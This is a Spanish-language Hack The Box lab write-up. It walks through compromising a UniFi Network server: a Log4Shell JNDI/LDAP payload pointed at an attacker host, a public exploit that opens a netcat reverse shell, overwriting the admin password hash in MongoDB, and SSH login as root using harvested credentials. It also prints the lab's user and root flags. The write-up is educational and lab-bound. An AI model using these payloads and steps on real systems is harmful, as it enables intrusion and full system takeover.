⭐ Unified – Hack The Box Write-up ⭐
| Propiedad | Valor |
|---|---|
| Dificultad | Fácil |
| SO | Linux |
| IP | 10.129.x.x |
| Categoría | Starting Point |
| Etiquetas | UniFi, Log4Shell, CVE-2021-44228, JNDI, LDAP, MongoDB, Reverse Shell, SSH |
Resumen
En este laboratorio explotamos una instancia vulnerable de UniFi Network 6.4.54 mediante Log4Shell (CVE-2021-44228).
Tras identificar la vulnerabilidad, utilizamos JNDI/LDAP y RogueJNDI para conseguir ejecución remota de código y obtener una reverse shell como el usuario unifi.
Desde la shell realizamos enumeración interna y descubrimos una instancia de MongoDB ejecutándose localmente en el puerto 27117. La base de datos ace contenía información de los usuarios de UniFi, incluyendo sus hashes de contraseña.
Mediante la función update() de MongoDB modificamos las credenciales del usuario administrador y conseguimos acceder al panel de administración de UniFi.
Finalmente, dentro de Device Authentication, encontramos las credenciales de root, que permitieron acceder mediante SSH y obtener privilegios de root.
Pasos Clave
Enumeración de servicios
MITRE ATT&CK: T1046 – Network Service Scanning
OWASP Top 10: A05:2021 – Security Misconfiguration
Identificación de UniFi Network
Identificación de la aplicación y de la versión 6.4.54.
Explotación de Log4Shell
MITRE ATT&CK: T1190 – Exploit Public-Facing Application
Vulnerabilidad: CVE-2021-44228
JNDI mediante LDAP
Uso de una cadena JNDI para provocar una conexión LDAP hacia el servidor controlado por el atacante.
Reverse Shell
Obtención de acceso remoto como el usuario unifi.
Enumeración de MongoDB
Descubrimiento de MongoDB en 127.0.0.1:27117 y acceso a la base de datos ace.
Manipulación de credenciales
Modificación del hash de contraseña del usuario administrador mediante MongoDB.
Escalada de privilegios
Obtención de las credenciales de root desde el panel de administración de UniFi y acceso mediante SSH.
Flujo del Ataque
- Enumeración de puertos y servicios
- Identificación de UniFi Network 6.4.54
- Identificación de CVE-2021-44228 (Log4Shell)
- Explotación mediante JNDI/LDAP
- Obtención de una reverse shell
- Acceso como usuario
unifi - Descubrimiento de MongoDB en el puerto
27117 - Enumeración de la base de datos
ace - Obtención de los usuarios y hashes
- Modificación de las credenciales del administrador
- Acceso al panel de administración UniFi
- Obtención de las credenciales de Device Authentication
- Acceso SSH como
root - Obtención de la flag de root
Comprobación de Conectividad
Antes de comenzar la enumeración, comprobamos que la máquina objetivo es accesible:
ping 10.129.x.x
El host responde correctamente. El valor TTL observado es cercano a 64, lo que es consistente con un sistema Linux.
Enumeración
Escaneo de Puertos
Comenzamos realizando un escaneo de todos los puertos TCP:
sudo nmap -sS -p- --min-rate 5000 -Pn 10.129.x.x
El escaneo revela:
22/tcp open ssh 6789/tcp open ibm-db2-admin 8080/tcp open http-proxy 8443/tcp open https-alt 8843/tcp open unknown 8880/tcp open cddbp-alt
El puerto más interesante es 8443, donde encontramos la interfaz web de UniFi.

Identificación de UniFi
Accedemos al servicio web:
https://10.129.x.x:8443
La aplicación muestra el panel de inicio de sesión de UniFi Network.

También podemos identificar el título de la aplicación mediante:
curl -k -L https://10.129.x.x:8443 | grep -i "<title>"
El resultado confirma:
<title>UniFi Network</title>
La versión identificada es:
UniFi Network 6.4.54

Identificación de la Vulnerabilidad
La versión de UniFi utilizada en esta máquina es vulnerable a:
CVE-2021-44228

Esta vulnerabilidad es conocida como Log4Shell y afecta a determinadas versiones de Apache Log4j.
La vulnerabilidad permite que una aplicación vulnerable procese una cadena JNDI especialmente diseñada, provocando una conexión hacia un servidor controlado por el atacante y pudiendo terminar en ejecución remota de código (RCE).
La cadena conceptual utilizada es:
${jndi:ldap://ATTACKER_IP:1389/RESOURCE}
La cadena de explotación puede representarse de la siguiente manera:
UniFi Network
↓
Log4j
↓
JNDI
↓
LDAP
↓
RogueJNDI
↓
RCE
↓
Reverse Shell
Vulnerabilidad: CVE-2021-44228
Nombre: Log4Shell
Tipo: Remote Code Execution (RCE)
MITRE ATT&CK: T1190 – Exploit Public-Facing Application
JNDI y LDAP
Una de las preguntas del laboratorio consiste en identificar qué protocolo utiliza JNDI en esta inyección.
La respuesta es:
LDAP
El payload utilizado tiene la siguiente estructura:
${jndi:ldap://10.10.14.116:1389/o=tomcat}
El servidor vulnerable procesa la expresión JNDI y realiza una conexión LDAP hacia nuestro servidor controlado.
Log4jUnifi
Para automatizar la explotación utilizamos el proyecto Log4jUnifi:
https://github.com/puzzlepeaches/Log4jUnifi
Clonamos el repositorio:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi
Y accedemos al directorio:
cd Log4jUnifi
El proyecto contiene, entre otros archivos:
exploit.py requirements.txt utils/ └── rogue-jndi/
Compilación de RogueJNDI
El exploit necesita el componente RogueJNDI compilado.
Comprobamos Maven:
mvn -version
Desde la raíz del proyecto ejecutamos:
mvn package -f utils/rogue-jndi/
Después de compilar correctamente se genera:
utils/rogue-jndi/target/ ├── classes ├── generated-sources ├── maven-archiver ├── maven-status ├── original-RogueJndi-1.1.jar └── RogueJndi-1.1.jar
Preparación de la Reverse Shell
Comprobamos la interfaz VPN utilizada para conectarnos a Hack The Box:
ip a | grep tun0
La interfaz muestra:
inet 10.10.14.116/23
Por tanto, utilizamos:
10.10.14.116
Preparamos un listener con Netcat:
nc -lvnp 4444
Explotación de Log4Shell
Desde el directorio Log4jUnifi ejecutamos:
python3 exploit.py \ -u https://10.129.x.x:8443 \ -i 10.10.14.116 \ -p 4444
El exploit genera un payload JNDI similar a:
${jndi:ldap://10.10.14.116:1389/o=tomcat}
El exploit muestra:
[*] Starting malicous JNDI Server [*] Firing payload! [*] Check for a callback!
Nuestro listener recibe la conexión:
connect to [10.10.14.116] from (UNKNOWN) [10.129.x.x]
Comprobamos el usuario:
whoami
unifi
Hemos obtenido una reverse shell como el usuario unifi.
Nota: El exploit debe ejecutarse desde el directorio Log4jUnifi. Al ejecutarlo desde otro directorio, el script no encontraba correctamente los componentes necesarios.
Enumeración Post-Explotación
Comprobamos nuestro directorio actual:
pwd
/usr/lib/unifi
Comprobamos nuestros privilegios:
id
uid=999(unifi) gid=999(unifi) groups=999(unifi)
El sistema está ejecutando Ubuntu:
uname -a
Linux unified 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64
Obtención de la User Flag
Enumeramos los directorios de /home:
ls /home
michael
Encontramos el directorio del usuario michael.
La flag se encuentra en:
/home/michael/user.txt
La obtenemos con:
cat /home/michael/user.txt
6ced1a6a89e666c0620cdb10262ba127
✅ User Flag obtenida.
Descubrimiento de MongoDB
Buscamos procesos relacionados con MongoDB:
ps aux | grep mongo

Encontramos:
bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --bind_ip 127.0.0.1
MongoDB está ejecutándose en:
127.0.0.1:27117
El parámetro importante es:
--port 27117
Además, --bind_ip 127.0.0.1 indica que el servicio solamente está disponible localmente.
Enumeración de MongoDB
Nos conectamos a MongoDB:
mongo --port 27117

La versión encontrada es:
MongoDB server version: 3.6.3
Enumeramos las bases de datos:
show dbs

Entre ellas encontramos:
ace ace_stat admin config local
La base de datos utilizada por UniFi es:
ace
Accedemos a ella:
use ace
Enumeración de Usuarios
La colección admin contiene información de los usuarios de UniFi.
La función utilizada para enumerarlos es:
db.admin.find()

Entre los campos encontrados se encuentra:
name email x_shadow requires_new_password
Por ejemplo, el usuario administrador contiene un campo x_shadow con un hash de contraseña:
"x_shadow" : "$6$..."
El prefijo $6$ corresponde a un hash basado en SHA-512 crypt.

Modificación de Credenciales
La función utilizada para actualizar documentos en MongoDB es:
update()
Generamos localmente un nuevo hash SHA-512:
mkpasswd -m sha-512 Pass123
El resultado utilizado fue:
$6$qU9fm/ty6zL/VOWY$zWdNy5pw6c6yDTzzhuRetQqoUynbEKxwbbsqzdNpPJkr/Kd6XfRuGhZr78kqJ3RSmc.o4aYSAGCEBHy/rIG.q0

Después modificamos el campo x_shadow del usuario administrador mediante MongoDB.
Una vez actualizado el registro, pudimos autenticarnos en el panel web de UniFi utilizando la nueva contraseña.
Acceso al Panel de Administración
Volvemos a acceder a:
https://10.129.x.x:8443
Utilizamos las credenciales modificadas para acceder al panel de administración.

Dentro de UniFi navegamos hasta:
Settings → Device Authentication
En esta sección encontramos las credenciales utilizadas para la autenticación de dispositivos:
Username: root Password: [redacted]
Estas credenciales nos permiten intentar acceder al sistema mediante SSH.

Acceso SSH como Root
El puerto SSH estaba expuesto desde la enumeración inicial:
22/tcp open ssh
Utilizamos las credenciales obtenidas en el panel:
ssh root@10.129.x.x

Una vez autenticados:
whoami
root
Hemos conseguido acceso completo al sistema.
Obtención de la Root Flag
La flag se encuentra en el directorio personal de root:
cat /root/root.txt
e50bc93c75b634e4b272d2f771c33681

👑 Root Flag obtenida.

Conclusión
Unified demuestra cómo una vulnerabilidad en una aplicación expuesta puede convertirse en un compromiso completo del sistema cuando se combina con una correcta enumeración post-explotación.
El ataque comenzó con la identificación de UniFi Network 6.4.54 y la explotación de Log4Shell (CVE-2021-44228), que permitió obtener una reverse shell como unifi.
Una vez dentro, la enumeración interna permitió descubrir una instancia de MongoDB accesible únicamente desde localhost. La base de datos ace contenía información de autenticación de UniFi.
La modificación del hash del usuario administrador permitió acceder al panel de administración, donde encontramos las credenciales de root. Finalmente, estas credenciales fueron reutilizadas para obtener acceso mediante SSH.
La cadena completa fue:
UniFi Network 6.4.54
↓
CVE-2021-44228
↓
Log4Shell
↓
JNDI / LDAP
↓
RogueJNDI
↓
Remote Code Execution
↓
Reverse Shell
↓
unifi
↓
MongoDB :27117
↓
ace
↓
UniFi administrator
↓
UniFi Web Panel
↓
Device Authentication
↓
root credentials
↓
SSH
↓
root
Lecciones Clave
- La enumeración de servicios es fundamental antes de comenzar una explotación.
- Identificar correctamente la versión de una aplicación permite relacionarla con vulnerabilidades conocidas.
- Log4Shell demuestra el impacto que puede tener una vulnerabilidad en una dependencia de terceros.
- Una vez obtenida una shell, es importante enumerar también los servicios internos.
- Las bases de datos de las aplicaciones pueden contener información sensible de autenticación.
- Las credenciales reutilizadas o almacenadas dentro de aplicaciones pueden convertirse en un vector de escalada.
- La explotación completa de una máquina normalmente requiere encadenar varias técnicas.
Herramientas Utilizadas
| Categoría | Herramientas |
|---|---|
| Reconocimiento | ping, nmap, navegador |
| Enumeración | nmap, curl, enumeración manual web, ps |
| Interceptación | Burp Suite |
| Explotación | Log4jUnifi, RogueJNDI, CVE-2021-44228 |
| Acceso Remoto | Netcat, SSH |
| Base de Datos | MongoDB Shell |
| Manipulación de Credenciales | MongoDB update(), mkpasswd |
| Post-Explotación | Linux commands, ps, id, ls, cat |
Vulnerabilidades y Técnicas
| Categoría | Referencia |
|---|---|
| Log4Shell | CVE-2021-44228 |
| JNDI / LDAP Injection | JNDI Lookup / LDAP |
| Remote Code Execution | MITRE ATT&CK T1190 – Exploit Public-Facing Application |
| Credential Manipulation | MongoDB update() |
| Valid Accounts | Credenciales de root obtenidas desde UniFi |
| Remote Services | SSH |
⚠️ Aviso Legal
Este contenido es exclusivamente educativo.
Todas las pruebas descritas fueron realizadas dentro de un laboratorio controlado y autorizado de Hack The Box.
No utilices estas técnicas contra sistemas o infraestructuras sin disponer de autorización explícita.
Máquina completada
User: unifi
Root: root
Vulnerabilidad: CVE-2021-44228 – Log4Shell
Database: MongoDB :27117
Final Access: SSH → root
